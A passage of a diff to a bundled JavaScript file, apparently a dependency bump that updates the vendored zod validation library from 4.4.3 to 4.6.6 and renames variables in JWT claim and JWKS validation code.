checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -46622,9 +46622,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -46673,8 +46673,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -46700,14 +46700,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -46810,12 +46810,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -46831,6 +46832,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -46846,12 +46850,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -46911,14 +46917,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -46936,6 +46946,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -46945,7 +46956,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -46972,6 +46985,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -46992,6 +47006,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -47002,6 +47017,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -47031,6 +47047,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -47048,12 +47065,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -47085,6 +47105,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -47092,8 +47113,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -47107,6 +47130,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -47162,10 +47186,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -47181,6 +47210,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -47202,6 +47232,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -47250,6 +47281,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -47292,7 +47324,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -47305,18 +47342,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -47325,94 +47374,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -47423,6 +47405,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -47431,8 +47414,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -47445,11 +47432,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -47458,6 +47448,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -47466,11 +47457,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -47482,6 +47476,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -47502,21 +47499,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -47526,7 +47527,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -47565,6 +47566,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -47603,8 +47654,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -47782,16 +47833,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -47803,23 +47854,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -47828,23 +47877,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -47853,45 +47889,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -47899,74 +47929,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -47999,29 +47981,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -48047,12 +48075,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -48104,43 +48132,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return 